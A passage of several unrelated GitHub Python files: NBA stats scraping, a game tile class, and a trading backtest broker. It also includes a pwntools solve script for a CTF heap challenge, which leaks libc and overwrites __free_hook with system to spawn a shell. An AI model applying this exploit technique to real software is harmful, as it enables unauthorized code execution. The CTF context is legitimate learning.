math\nfrom datetime import datetime, timedelta\nfrom nba_api.stats.library.parameters import SeasonAllNullable\nfrom tqdm import tqdm\nfrom scipy.stats import norm\nfrom nba_api.stats import endpoints\nfrom nba_api.stats.static import teams\nfrom nba_api.stats.library.parameters import SeasonType\nfrom nba_api.stats.library.parameters import SeasonTypePlayoffs\nfrom nba_api.stats.library.parameters import SeasonNullable\nfrom itertools import compress\nimport ELO_track\n\ndef get_all_player_box(seasons = ['2009', '2010', '2011', '2012', '2013', '2014',\n '2015', '2016', '2017', '2018', '2019', '2020']):\n all_boxes = pd.DataFrame()\n for season in tqdm(seasons):\n season = '{}-{}'.format(int(season), str(int(season) + 1)[2:])\n regular_boxes = endpoints.PlayerGameLogs(season_type_nullable = SeasonType.regular, \n season_nullable = season).get_data_frames()[0]\n \n post_boxes = endpoints.PlayerGameLogs(season_type_nullable = SeasonTypePlayoffs.playoffs, \n season_nullable = season).get_data_frames()[0]\n\n\n post_boxes['post'] = 1\n regular_boxes['post'] = 0\n boxes_year = pd.concat([regular_boxes, post_boxes])\n all_boxes = pd.concat([all_boxes, boxes_year])\n all_boxes['GAME_DATE'] = pd.to_datetime(all_boxes['GAME_DATE'].str[:10])\n all_boxes['GAME_ID'] = all_boxes['GAME_ID'].astype(int)\n all_boxes = all_boxes.loc[all_boxes['MIN'] != 0] \n \n all_boxes = all_boxes[['GAME_DATE', 'SEASON_YEAR', 'PLAYER_ID', 'PLAYER_NAME', 'TEAM_ID', 'TEAM_ABBREVIATION',\n 'GAME_ID', 'MIN', 'FGM', 'FGA', 'FG_PCT', 'FG3M', 'FG3A', 'FG3_PCT', \n 'FTM', 'FTA', 'FT_PCT', 'REB', 'AST', 'STL', 'BLK', 'PTS', 'OREB', 'DREB', 'TOV']]\n return(all_boxes)\n \n \nall_boxes = get_all_player_box()\n\ndef min_to_int(minutes_w_seconds):\n minutes = int(minutes_w_seconds.partition(':')[0])\n seconds = int(minutes_w_seconds.partition(':')[2])/60\n time_total = round((minutes + seconds), 2)\n return(time_total)\n\ndef all_box_score_fixer(all_boxes, NBAgamesC): ## for some games, the nba_api skips box scores (play in games, etc) \n unique_boxes_games = ['00' + str(x) for x in list(all_boxes['GAME_ID'].unique())]\n unique_NBAgamesC_games = list(NBAgamesC['GAME_ID_H'].unique())\n \n missing = list(set(unique_NBAgamesC_games) - set(unique_boxes_games))\n missing = list(map(str, missing))\n missing = [('0' * (10 - len(x))) + x for x in missing]\n \n missing_boxes = pd.DataFrame()\n for code in tqdm(missing):\n add = endpoints.BoxScoreTraditionalV2(game_id = code).get_data_frames()[0]\n time.sleep(0.2)\n season = NBAgamesC[NBAgamesC['GAME_ID_H'] == code]['SEASON_ID_H'].iloc[0]\n season_id = '{}-{}'.format(season, (int(season)+1) - 2000)\n add = add[['PLAYER_ID', 'PLAYER_NAME', 'TEAM_ID', 'TEAM_ABBREVIATION',\n 'GAME_ID', 'MIN', 'FGM', 'FGA', 'FG_PCT', 'FG3M', 'FG3A', 'FG3_PCT', \n 'FTM', 'FTA', 'FT_PCT', 'REB', 'AST', 'STL', 'BLK', 'PTS']]\n add['SEASON_YEAR'] = season_id\n add = add[~add['MIN'].isna()]\n add['MIN'] = [min_to_int(sub) for sub in add['MIN']]\n \n \n missing_boxes = pd.concat([missing_boxes, add])\n all_boxes_fixed = pd.concat([missing_boxes, all_boxes])\n all_boxes_fixed = all_boxes_fixed[all_boxes_fixed['GAME_ID'].isin([int(x) for x in unique_NBAgamesC_games])].reset_index(drop = 1)\n return(all_boxes_fixed)\n\nall_boxes = all_box_score_fixer(all_boxes, NBAgamesC).reset_index(drop = 1)\n\nplayer_dict = players.get_players()\n\ndef get_curr_injuries():\n all_injuries = []\n recent_injuries = pd.read_html('https://www.espn.com/nba/injuries')\n for team in range(len(recent_injuries)):\n all_injuries.extend(list(recent_injuries[team]['NAME']))\n return all_injuries\n\ndef get_player_games(player1, all_boxes):\n \n player_gamelog = all_boxes[all_boxes['PLAYER_NAME'] == player1].reset_index(drop = 1)['GAME_ID']\n \n return(player_gamelog)\n\ndef make_rosters(seasonid, nba_team = nba_team): ## takes in te\n d = {}\n for teamid in tqdm(nba_team['id']):\n roster = endpoints.commonteamroster.CommonTeamRoster(team_id = teamid, season = seasonid).get_data_frames()[0]\n d.update({teamid : roster})\n time.sleep(.5)\n return d\n\nrosters_2020 = make_rosters(2020)\nrosters_2019 = make_rosters(2019)\nrosters_2018 = make_rosters(2018)\nrosters_2017 = make_rosters(2017)\nrosters_2016 = make_rosters(2016)\nrosters_2015 = make_rosters(2015)\nrosters_2014 = make_rosters(2014)\nrosters_2013 = make_rosters(2013)\nrosters_2012 = make_rosters(2012)\nrosters_2011 = make_rosters(2011)\nrosters_2010 = make_rosters(2010)\nrosters_2009 = make_rosters(2009)\n\nfolded_roster = {2020: rosters_2020, 2019: rosters_2019,\n 2018: rosters_2018,2017: rosters_2017,\n 2016: rosters_2016, 2015: rosters_2015,\n 2014: rosters_2014, 2013: rosters_2013,\n 2012: rosters_2012, 2011: rosters_2011,\n 2010: rosters_2010,\n 2009: rosters_2009}\n\ndef create_team_injury_matrix(team_id, year, nested_rosters = nested_rosters, NBAgamesC = NBAgamesC, all_boxes = NBAgamesC):\n rosters = nested_rosters.get(year)\n players = rosters.get(team_id)['PLAYER']\n played = {}\n season_games = NBAgamesC.loc[NBAgamesC['SEASON_ID_H'] == str(year)]\n team_games = season_games[(season_games['TEAM_ID_H'] == team_id) | (season_games['TEAM_ID_A'] == team_id)]\n cols = ['game']\n cols.extend(team_games['GAME_ID_H'].unique())\n played_df = pd.DataFrame(columns = cols)\n for player in players:\n played = [player]\n try:\n all_played = [ int(x) for x in list(get_player_games(player, all_boxes))]\n except:\n played.extend(list(np.repeat(False, len(played_df.columns) - 1)))\n played = pd.DataFrame(played).T\n played.columns = cols\n played_df = pd.concat([played_df, played], ignore_index=True)\n continue\n played = [player]\n for game in list(team_games['GAME_ID_H'].unique()):\n game_check = int(game)\n played.append((game_check in all_played))\n played = pd.DataFrame(played).T\n played.columns = cols\n played_df = pd.concat([played_df, played])\n played_df = played_df.T\n played_df.columns = played_df.iloc[0]\n played_df = played_df.iloc[1:,]\n \n out = []\n \n for row in range(len(played_df.index)):\n out_add = list(compress(list(played_df.iloc[row,].index), list(played_df.iloc[row,] == False)))\n out.append(out_add)\n \n played_df['out'] = out\n \n return(played_df[['out']])\n\n\ndef injuries_by_team_dict(year, nba_team, nested_rosters, NBAgamesC, all_boxes):\n d = {}\n for teamid in tqdm(nba_team['id']):\n out_track = create_team_injury_matrix(teamid, year, nested_rosters, NBAgamesC, all_boxes)\n d.update({teamid : out_track})\n return d\n\nout_2020 = injuries_by_team_dict(2020, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2019 = injuries_by_team_dict(2019, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2018 = injuries_by_team_dict(2018, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2017 = injuries_by_team_dict(2017, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2016 = injuries_by_team_dict(2016, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2015 = injuries_by_team_dict(2015, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2014 = injuries_by_team_dict(2014, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2013 = injuries_by_team_dict(2013, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2012 = injuries_by_team_dict(2012, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2011 = injuries_by_team_dict(2011, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2010 = injuries_by_team_dict(2010, nba_team, nested_rosters, NBAgamesC, all_boxes)\nout_2009 = injuries_by_team_dict(2009, nba_team, nested_rosters, NBAgamesC, all_boxes)\n\nfolded_out = {2020: out_2020, 2019: out_2019,\n 2018: out_2018,2017: out_2017,\n 2016: out_2016, 2015: out_2015,\n 2014: out_2014, 2013: out_2013,\n 2012: out_2012, 2011: out_2011,\n 2010: out_2010, 2009: out_2009}\n\ndef nested_dict_unfolder(nested, nba_team): ## formats nested df so it can be saved\n unfolded = pd.DataFrame()\n for year in tqdm([2009, 2010, 2011, 2012, 2013, 2014,\n 2015, 2016, 2017, 2018, 2019, 2020]):\n nested_y = nested.get(year)\n for teamid in nba_team['id']:\n team_df = pd.DataFrame(nested_y.get(teamid))\n unfolded = pd.concat([unfolded, team_df])\n return(unfolded)\n\nunfolded_rosters = nested_dict_unfolder(folded_roster, nba_team).reset_index(drop = 1)\nunfolded_out = nested_dict_unfolder(folded_out, nba_team).reset_index(drop = 1)\n\ndef nested_dict_folder(unnested, nba_team): ## unfolds \n folded = {}\n for year in tqdm([2009, 2010, 2011, 2012, 2013, 2014,\n 2015, 2016, 2017, 2018, 2019, 2020]):\n unnested_y = unnested.loc[unnested['year'] == year]\n inner = {}\n for teamid in nba_team['id']:\n team_df = unnested_y.loc[unnested_y['team_id'] == teamid] ## drop added columns\n inner.update({teamid: team_df})\n folded.update({year:inner})\n return(folded)\n","repo_name":"nickb1125/Buckets_Project","sub_path":"code/roster_injury_pull.py","file_name":"roster_injury_pull.py","file_ext":"py","file_size_in_byte":9755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19365747685","text":"from pwn import *\n\ne = ELF(\"./trees1\")\n\nlibc = ELF(\"./libc.so.6\")\n\np = process(\"./trees1\")\n\n#context.log_level=\"debug\"\ngdb.attach(p)#, \"\"\"break * main+302\"\"\")\n\n\ndef create():\n\tprint(\"create\")\n\tp.sendlineafter(\">\", \"1\")\n\tp.recvuntil(\"ID \")\n\treturn int(p.recvuntil(\",\")[:-1])\n\n\ndef delete(idx):\n\tprint(\"delete\")\n\tp.sendlineafter(\">\", \"2\")\n\tp.sendlineafter(\">\", str(idx))\n\n\ndef edit(idx, name, d_len, d, amt):\n\tp.sendlineafter(\">\", \"3\")\n\tp.sendlineafter(\">\", str(idx))\n\tp.sendlineafter(\".\", name)\n\tp.sendlineafter(\">\", str(d_len))\n\tp.sendlineafter(\".\", d)\n\tp.sendlineafter(\">\", str(amt))\n\n\ndef show(idx):\n\tp.sendlineafter(\">\", \"4\")\n\tp.sendlineafter(\">\", str(idx))\n\n\n# leak heap + libc by freeing a chunk into unsorted and then UAF\n# delete even chunk, read odd chunk\n\n# fill tcache\nfor i in range(7):\n\tcreate()\n\n\tedit(i+1, \"AAAABBBBCCCCDDD\", 0xf0, \"BBBBEEEEFFFFGGGGHHHH\", i+1)\n\n\ncreate()\t# 8\nedit(8, \"A\", 0xf0, \"B\", 8)\n\ncreate()\t# 9, prevent consolidation w/ top\n\n\nfor i in range(7):\n\tdelete(i+1)\n\n\ndelete(8)\n\n\nfor i in range(9):\t# ends on chunk 18.\n\t# have to take 7 from tcache, 1 from fastbins,\n\t# then the last one (chunk 18) will be from unsorted bin and have libc pointers\n\tcreate()\n\n\nshow(18)\n\n# parse leaked libc\ndat = p.recvline().strip().split()[0]\nlibc.address = int(dat) - 0x1e4d90\nprint(\"libc address\", hex(libc.address))\nprint(\"libc system\", hex(libc.sym[\"system\"]))\nprint(\"libc free hook\", hex(libc.sym[\"__free_hook\"]))\n\n\ncreate()\t# 19\ncreate()\t# 20\ncreate()\t# 21\n\ndelete(20)\nedit(21, p64(libc.sym[\"__free_hook\"]), 0x69, \"BBBB\", 21)\n\ncreate()\t# 22\ncreate()\t# 23\n\nedit(23, p64(libc.sym[\"system\"]), 0x20, \"BBBB\", 23)\n\n\nedit(19, \"/bin/sh\", 2, \"A\", 19)\ndelete(19)\n\np.interactive()\n","repo_name":"joshdabosh/writeups","sub_path":"solved_afterwards/2020-HSCTF/treecache1/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"72"} +{"seq_id":"9735827359","text":"class Tile:\n \"\"\"A class used to represent a tile\n\n All instances should be created when the game is loaded/started.\n\n Attributes\n ----------\n q : int\n The q-coordinate of the tile\n r : int\n The r-coordinate of the tile\n s : int\n The s-coordinate of the tile\n state : int\n 0 if the tile is empty, 1 if it is owned by player 1, and 2 if\n it is owned by player 2\n \"\"\"\n\n def __init__(self, coords, state=0):\n \"\"\"\n Parameters\n ----------\n coords : list\n 3 ints that represent q, r, and s coordinates\n state : int\n 0 if the tile is empty, 1 if it is owned by player 1, and 2 if\n it is owned by player 2\n \"\"\"\n self.q = coords[0]\n self.r = coords[1]\n self.s = coords[2]\n self.state = state\n\n\n def __str__(self):\n \"\"\"Converts an instance to a info string\n\n To run this method, use the built-in str() function on an\n instance.\n\n Returns\n -------\n info : str\n A multi-line string with information about a Tile instance.\n \"\"\"\n info = f\"q: {self.q}\\n\" \\\n + f\"r: {self.r}\\n\" \\\n + f\"s: {self.s}\\n\" \\\n + f\"state: {self.state}\"\n return info\n","repo_name":"DaleNaci/hexxagon","sub_path":"data/components/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70149055593","text":"import pandas as pd\nimport copy\nimport sys, os\nimport numpy as np\n\nmyPath = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, os.path.join(myPath, \"..\"))\n\n\nfrom event import Event\nfrom utils.logger import Logger\nfrom utils.errors import OrderProcessingError, MarketDataNotAvailableError, BalanceTooLowError\nfrom order import Order, CancelledOrder\nfrom utils.types import PortfolioBase, CommissionModel, SlippageModel\nfrom data_handler import DataHandler\n\nclass Trade():\n def __init__(\n self, \n order: Order, \n date: pd.datetime, \n fill_price: float, \n commission: float, \n slippage: float\n ):\n self.order = order\n self.order_id = order.id\n \n self.ticker = order.ticker\n self.direction = order.direction # Strictly unnecessary, but makes this information easily accessable.\n self.amount = order.amount\n self.stop_loss = order.stop_loss # This needs to be a price that I can compare the open/close to\n self.take_profit = order.take_profit\n self.timeout = order.timeout\n\n self.date = date\n self.fill_price = fill_price\n self.commission = commission\n self.slippage = slippage\n \n self.interest_expenses = 0\n self.dividends_per_share = 0\n\n self.cur_value = None\n\n # Close related\n self.CLOSED = False\n self.close_price = None\n self.close_date = None\n self.close_cause = \"\"\n self.ret = None\n self.total_ret = None\n self.total_dividends = None\n \n def close(self, close_price: float, close_date: pd.datetime, close_cause: str=\"\", commission:float=0):\n self.close_price = close_price\n self.close_date = close_date\n self.close_cause = close_cause\n self.commission += commission\n self.ret = ((self.close_price / self.fill_price) - 1) * self.direction\n self.total_ret = (((self.close_price + self.dividends_per_share) / self.fill_price) - 1) * self.direction\n self.total_dividends = self.dividends_per_share * self.amount\n \n self.CLOSED = True\n\n def return_if_close_price_is(self, close_price: float):\n \"\"\"\n Returns the trades total return if the close price is as provided.\n\n \"\"\"\n return (((close_price + self.dividends_per_share) / self.fill_price) - 1) * self.direction\n\n def get_proceeds(self):\n if not self.CLOSED:\n raise ValueError(\"Trade must be closed to calculate proceeds from closing the position\")\n\n if self.direction == 1:\n return self.amount * self.close_price\n elif self.direction == -1:\n dollar_size_of_original_position = self.fill_price * abs(self.amount)\n return (((self.close_price/self.fill_price) - 1) * self.direction) * dollar_size_of_original_position\n\n def price_at_exit(self, exit_rule_hit: str):\n if self.direction == 1:\n if exit_rule_hit == \"take_profit\":\n return self.fill_price * (1 + self.take_profit) - self.dividends_per_share\n elif exit_rule_hit == \"stop_loss\":\n return self.fill_price * (1 + self.stop_loss) - self.dividends_per_share\n\n elif self.direction == -1:\n if exit_rule_hit == \"take_profit\":\n return self.fill_price * (1 + (self.take_profit * self.direction)) - self.dividends_per_share\n # 10 *(1+(0.1 *-1)) = 10 * 0.9 = 9\n # 10 * (1 - 0.1) + dps = 10 => dps must be - 1 => - self.dividends_per_share\n\n elif exit_rule_hit == \"stop_loss\":\n return self.fill_price * (1 + (self.stop_loss * self.direction)) - self.dividends_per_share\n # 10 *(1+ (+0.3)) = 13 \n\n def calculate_pnl(self):\n if self.CLOSED == False:\n raise ValueError(\"Trade must be closed to calculate PnL\")\n\n return self.total_ret * self.fill_price\n\n def get_total_slippage(self):\n return self.slippage * abs(self.amount)\n\n\nclass Blotter():\n def __init__(self):\n self.active_trades = []\n self.closed_trades = []\n self.cancelled_orders = []\n self.used_signal_ids = set()\n\n def add(self, trade_object):\n self.active_trades.append(trade_object)\n self.used_signal_ids.add(trade_object.order.signal.signal_id)\n\n # NOTE: Needs improvement, no not\n def close(self, trade: Trade, close_price: float, close_date: pd.datetime, close_cause: str=\"\", commission: float=0):\n trade.close(close_price, close_date, close_cause, commission)\n try:\n self.active_trades.remove(trade)\n self.closed_trades.append(trade)\n except ValueError as e:\n raise e\n \n def get_active_trades(self) -> list:\n return copy.deepcopy(self.active_trades)\n\n def get_closed_trades(self) -> list:\n return copy.deepcopy(self.closed_trades)\n\n def calculate_ratio_of_longs(self):\n amount_long = 0\n for trade in self.active_trades:\n if trade.direction == 1:\n amount_long += 1\n for trade in self.closed_trades:\n if trade.direction == 1:\n amount_long += 1\n\n total = len(self.active_trades) + len(self.closed_trades)\n if total == 0:\n return \"NO TRADES CONDUCTED\"\n else:\n return amount_long / total\n\n def calculate_hit_ratio(self):\n hits = 0\n for trade in self.closed_trades:\n if trade.total_ret > 0:\n hits += 1\n\n total = len(self.closed_trades)\n if total == 0:\n return \"NO CLOSED TRADES\"\n else:\n return hits / total\n\n def calculate_frequency_of_bets(self):\n \"\"\"\n Avg number of bets per month\n \"\"\"\n dates = []\n for trades in self.closed_trades:\n dates.append(trades.date)\n\n dates = pd.Series(index=dates).resample(\"M\").apply(lambda array_like: len(array_like))\n\n return str(dates.mean()) + \" Trades/Month\"\n\n\n def calculate_average_holding_period(self):\n dates = []\n close_dates = []\n for trades in self.closed_trades:\n dates.append(trades.date)\n close_dates.append(trades.close_date)\n\n dates = pd.DataFrame(index=dates, data={\"date\": dates, \"close_date\": close_dates})\n \n dates[\"diff\"] = (dates[\"close_date\"] - dates[\"date\"]).apply(lambda delta: delta.days)\n\n return str(dates[\"diff\"].mean()) + \" Days\"\n\n def calculate_pnl_short_positions(self):\n short_pnl = 0\n for trade in self.closed_trades:\n if trade.direction == -1:\n short_pnl += trade.calculate_pnl()\n return str(short_pnl) + \"$\"\n\n def calculate_pnl_long_positions(self):\n long_pnl = 0\n for trade in self.closed_trades:\n if trade.direction == 1:\n long_pnl += trade.calculate_pnl()\n return str(long_pnl) + \"$\"\n\n def calculate_average_return_from_hits(self):\n returns = []\n for trade in self.closed_trades:\n if trade.total_ret > 0:\n returns.append(trade.total_ret)\n\n \n return str(np.array(returns).mean()*100) + \"%\"\n\n def calculate_average_return_from_misses(self):\n returns = []\n for trade in self.closed_trades:\n if trade.total_ret <= 0:\n returns.append(trade.total_ret)\n\n return str(np.array(returns).mean()*100) + \"%\"\n\n def calculate_highest_return_from_hit(self):\n returns = []\n for trade in self.closed_trades:\n if trade.total_ret > 0:\n returns.append(trade.total_ret)\n\n \n return str(max(returns)*100) + \"%\"\n\n def calculate_lowest_return_from_miss(self):\n returns = []\n for trade in self.closed_trades:\n if trade.total_ret <= 0:\n returns.append(trade.total_ret)\n\n return str(min(returns)*100) + \"%\"\n\n def calculate_broker_fees_per_dollar(self): # TODO: not good\n total = 0\n total_commission = 0\n for trade in self.closed_trades:\n total += trade.fill_price * abs(trade.amount)\n total_commission += trade.commission\n \n return str(total_commission/total) + \" ($ commission per $ invested and sold (based on fill price))\"\n\n\n def calculate_broker_fees_per_stock(self):\n stocks = 0\n commission = 0\n for trade in self.closed_trades:\n stocks += abs(trade.amount)\n commission += trade.commission\n\n return str(commission / stocks) + \" $/amount (bought and sold)\"\n\n\n def count_closed_trades_by_cause(self):\n counts = {}\n for trade in self.closed_trades:\n if trade.close_cause not in counts.keys():\n counts[trade.close_cause] = 0\n counts[trade.close_cause] += 1\n\n report = \"\"\n for key, val in counts.items():\n report += \"{}: {}, \".format(key, str(val))\n\n return report\n\n def count_unique_stocks(self):\n tickers = set()\n for trade in self.closed_trades:\n tickers.add(trade.ticker)\n return len(tickers)\n \n def count_trades(self):\n return len(self.closed_trades) + len(self.active_trades)\n\n def calculate_annualized_turnover(self):\n return \"NOT IMPLEMENTED\"\n\n def calculate_capacity(self):\n return \"NOT IMPLEMENTED\"\n\n def calculate_maximum_dollar_position_size(self):\n max_size = 0\n for trade in self.closed_trades:\n size = abs(trade.amount) * trade.fill_price\n if size > max_size:\n max_size = size\n return max_size\n\n\nclass Broker():\n \"\"\"\n Class that execute orders from a portfolio/strategy and maintain active trades.\n \"\"\"\n def __init__(\n self, \n market_data: DataHandler, \n commission_model: CommissionModel,\n slippage_model: SlippageModel, \n logger: Logger,\n annual_margin_interest_rate: float,\n initial_margin_requirement: float, \n maintenance_margin_requirement: float,\n tax_rate: float=0.25, # Tax rate on dividends, depends on the tax-bracket of the individual (assumed to be 25%)\n ):\n \n self.commission_model = commission_model\n self.slippage_model = slippage_model\n self.market_data = market_data\n self.logger = logger\n\n self.annual_margin_interest_rate = annual_margin_interest_rate\n self.initial_margin_requirement = initial_margin_requirement\n self.maintenance_margin_requirement = maintenance_margin_requirement\n self.tax_rate = tax_rate\n \n self.blotter = Blotter()\n\n self.blotter_history = [] # Blotter.active_trades at each date...\n\n\n def process_orders(self, portfolio, orders_event):\n orders = orders_event.data\n\n trade_objects = []\n cancelled_orders = []\n\n for order in orders:\n try:\n trade_object = self._process_order(portfolio, order)\n except OrderProcessingError as e:\n self.logger.logr.warning(\"BROKER: Failed processing order with error: {}\".format(e)) # Show log from backtest in the dashboard...\n\n cancelled_order = CancelledOrder(order, e)\n cancelled_orders.append(cancelled_order)\n else:\n trade_objects.append(trade_object)\n \n self.blotter.add(trade_object)\n \n\n self.blotter.cancelled_orders.extend(cancelled_orders)\n\n if len(cancelled_orders) == 0:\n cancelled_orders_event = None\n else:\n cancelled_orders_event = Event(event_type=\"CANCELLED_ORDERS\", data=cancelled_orders, date=orders_event.date)\n\n if len(trade_objects) == 0:\n trades_event = None\n else:\n trades_event = Event(event_type=\"TRADES\", data=trade_objects, date=orders_event.date)\n\n return (trades_event, cancelled_orders_event)\n\n\n def _process_order(self, portfolio, order):\n if not self.market_data.cur_date == order.date:\n raise OrderProcessingError(\"Cannot complete order, because order.date == market_data.cur_date.\")\n\n # To process an order we must be able to trade the stock, which means data is available on the date and not bankrupt or delisted.\n can_trade_res = self.market_data.can_trade(order.ticker)\n if (isinstance(can_trade_res, str)) or (can_trade_res != True):\n raise OrderProcessingError(\"Cannot complete order, because market_data.can_trade returned: {}.\".format(can_trade_res))\n\n try: \n stock_price = self.market_data.current_for_ticker(order.ticker)[\"open\"]\n except:\n # NOTE: Should not be possible if can_trade returns true...but still for consistency I code it this way.\n raise OrderProcessingError(\"Cannot complete order, because market data is not available.\")\n\n\n if order.direction == 1:\n slippage = self.slippage_model.calculate()\n fill_price = stock_price + slippage\n cost = order.amount * fill_price\n commission = self.commission_model.calculate(order.amount, fill_price) # The commission is also based on the fill_price\n \n # Charge portfolio etc. and if successfull, \"complete\" the order by appending to active_orders\n \n \n # NOTE: Need to roll back if failing in two step procedures\n try:\n portfolio.charge(cost)\n except BalanceTooLowError as e:\n raise OrderProcessingError(\"Cannot complete order, with error: {}\".format(e))\n\n portfolio.charge_commission(commission) # Does not fail\n \n return Trade(\n order=order,\n date=self.market_data.cur_date,\n fill_price=fill_price,\n commission=commission,\n slippage=slippage,\n )\n \n\n elif order.direction == -1:\n new_required_margin_account_size = self.calculate_required_margin_account_size(\"open\", [order])\n slippage = self.slippage_model.calculate()\n fill_price = stock_price - slippage\n commission = self.commission_model.calculate(order.amount, fill_price)\n\n try:\n portfolio.update_margin_account(new_required_margin_account_size)\n except BalanceTooLowError as e:\n raise OrderProcessingError(\"Balance too low! Balance: {}, Margin Account: {}, wanted to update margin account to {}\".format(\n portfolio.balance, portfolio.margin_account, new_required_margin_account_size\n ))\n\n portfolio.charge_commission(commission) # Does not fail\n\n return Trade(\n order=order,\n date=self.market_data.cur_date,\n fill_price=fill_price,\n commission=commission,\n slippage=slippage,\n )\n \n def manage_active_trades(self, portfolio: PortfolioBase):\n \"\"\"\n Active positions are represented by fill objects (contains associated order) where the resulting position have not yet been\n liquidated. Every day the active positions must be checked to see if a stop-loss, take-profit or timeout would trigger an exit.\n \n Also as the price of the stocks in the portfolio changes the margin account size must be updated so meet the requirements\n for the short positions.\n \n This is somewhat different than the state of the portfolio, because each order must be treated by the broker independently (not\n summed together like is done with portfolio.portfolio)\n \"\"\"\n \n for _, trade in enumerate(self.blotter.active_trades):\n order = trade.order\n ticker = trade.ticker\n\n try:\n ticker_data = self.market_data.current_for_ticker(ticker) # NOTE: need to decide how to manage when we cannot deal in a stock (can_trade...)\n except MarketDataNotAvailableError:\n self.logger.logr.warning(\"BROKER: Failed to manage active position, because market data not available for ticker {} on date {}\".format(ticker, self.market_data.cur_date))\n continue\n\n price_direction_for_the_day = 1 if (ticker_data[\"open\"] <= ticker_data[\"close\"]) else -1\n\n # Long position\n if trade.direction == 1:\n # If price went up over the day, assume the low was hit before the high.\n exited = False\n if price_direction_for_the_day == 1:\n if trade.return_if_close_price_is(ticker_data[\"low\"]) <= trade.stop_loss: # How is total return calculated given long/short and dividends, how is the sign set on exit limits? I just need to decide\n close_price = trade.price_at_exit(\"stop_loss\") - self.slippage_model.calculate()\n close_cause = \"STOP_LOSS_REACHED\" \n exited = True\n elif trade.return_if_close_price_is(ticker_data[\"high\"]) >= trade.take_profit:\n close_price = trade.price_at_exit(\"take_profit\") - self.slippage_model.calculate()\n close_cause = \"TAKE_PROFIT_REACHED\"\n exited = True\n \n elif price_direction_for_the_day == -1:\n # price declined over the day, high was hit first.\n if trade.return_if_close_price_is(ticker_data[\"high\"]) >= trade.take_profit:\n close_price = trade.price_at_exit(\"take_profit\") - self.slippage_model.calculate()\n close_cause = \"TAKE_PROFIT_REACHED\"\n exited = True\n \n elif trade.return_if_close_price_is(ticker_data[\"low\"]) <= trade.stop_loss:\n close_price = trade.price_at_exit(\"stop_loss\") - self.slippage_model.calculate() \n close_cause = \"STOP_LOSS_REACHED\" \n exited = True\n \n # Check if the timeout has been reached, and give the trade an close_price a price equal to the closing price\n if self.market_data.cur_date >= trade.timeout:\n close_price = ticker_data[\"close\"] - self.slippage_model.calculate()\n close_cause = \"TIMEOUT_REACHED\"\n exited = True\n\n\n if exited:\n commission = self.commission_model.calculate(amount=order.amount, price=close_price)\n self.blotter.close(trade, close_price, self.market_data.cur_date, close_cause, commission)\n portfolio.charge_commission(commission)\n portfolio.receive_proceeds(trade.get_proceeds())\n continue\n\n\n # Short position\n elif trade.direction == -1:\n # Prices rose over the day, low was hit first\n exited = False\n if price_direction_for_the_day == 1:\n if trade.return_if_close_price_is(ticker_data[\"low\"]) >= trade.take_profit:\n close_price = trade.price_at_exit(\"take_profit\") - self.slippage_model.calculate()\n close_cause = \"TAKE_PROFIT_REACHED\" \n exited = True \n elif trade.return_if_close_price_is(ticker_data[\"high\"]) <= trade.stop_loss:\n close_price = trade.price_at_exit(\"stop_loss\") - self.slippage_model.calculate()\n close_cause = \"STOP_LOSS_REACHED\" \n exited = True\n \n # Prices declined over the day, high was hit first\n elif price_direction_for_the_day == -1:\n if trade.return_if_close_price_is(ticker_data[\"high\"]) <= trade.stop_loss:\n close_price = trade.price_at_exit(\"stop_loss\") - self.slippage_model.calculate()\n close_cause = \"STOP_LOSS_REACHED\" \n exited = True\n elif trade.return_if_close_price_is(ticker_data[\"low\"]) >= trade.take_profit:\n close_price = trade.price_at_exit(\"take_profit\") - self.slippage_model.calculate()\n close_cause = \"TAKE_PROFIT_REACHED\"\n exited = True\n\n if self.market_data.cur_date >= trade.timeout:\n close_price = ticker_data[\"close\"] + self.slippage_model.calculate()\n close_cause = \"TIMEOUT_REACHED\"\n exited = True\n\n if exited:\n commission = self.commission_model.calculate(amount=trade.amount, price=close_price, info={\n \"ticker\": trade.ticker,\n \"fill_price\": trade.fill_price,\n \"stop_loss\": trade.stop_loss,\n \"take_profit\": trade.take_profit,\n \"price_at_exit_take_profit\": trade.price_at_exit(\"take_profit\"),\n \"price_at_exit_stop_loss\": trade.price_at_exit(\"stop_loss\"),\n })\n portfolio.charge_commission(commission)\n self.blotter.close(trade, close_price, self.market_data.cur_date, close_cause, commission)\n proceeds = trade.get_proceeds()\n # if in profit -> give return to balance\n if proceeds >= 0:\n portfolio.receive_proceeds(proceeds)\n # If in loss -> cover losses with margin account\n if proceeds < 0:\n portfolio.charge_margin_account(abs(proceeds))\n continue\n\n\n \n # After all trades have been checked for any exit conditions and the active trades have been updated, the margin account size is \n # updated. This is done every business day regardless of the active trades changing.\n # NOTE: When exiting a short, you cannot fail to adjust the margin account.\n required_margin_account_size = self.calculate_required_margin_account_size(\"close\")\n\n return Event(event_type=\"MARGIN_ACCOUNT_UPDATE\", data=required_margin_account_size, date=self.market_data.cur_date)\n\n \n\n def handle_corp_actions(self, portfolio: PortfolioBase):\n \"\"\"\n Handles bankruptices and delistings.\n \"\"\"\n corp_actions: pd.DataFrame = self.market_data.current_corp_actions()\n\n for _, row in corp_actions.iterrows():\n for trade in self.blotter.active_trades:\n if trade.ticker == row[\"ticker\"]:\n # Ticker was delited or went bankrupt\n if row[\"action\"] == \"bankruptcy\":\n close_price = 0\n self.blotter.close(trade, close_price, self.market_data.cur_date, \"BANKRUPT\")\n elif row[\"action\"] == \"delisted\":\n close_price = self.market_data.current_for_ticker(trade.ticker)[\"close\"]\n self.blotter.close(trade, close_price, self.market_data.cur_date, \"DELISTED\")\n \n\n def handle_dividends(self, portfolio: PortfolioBase):\n \"\"\"\n Handle dividends for both short and long trades.\n Long trades results in dividends 